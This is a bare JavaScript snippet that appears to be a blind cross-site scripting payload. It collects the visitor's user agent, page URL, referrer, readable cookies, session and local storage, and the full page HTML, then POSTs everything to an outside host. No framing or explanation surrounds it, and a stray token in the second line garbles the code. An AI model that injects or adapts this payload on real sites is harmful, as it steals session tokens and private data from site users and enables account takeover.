var mailer = '//bx.myafs.ir/';

var msg<wweeweqwewqeqwerer>= 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' + document.URL; 
msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE COOKIES\n' + document.cookie;
msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) + '\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage); 
var documentContent = '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML;

var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
r.send('origin=' + document.location.origin + '&msg=' + encodeURIComponent(msg) + '&content=' + encodeURIComponent(documentContent));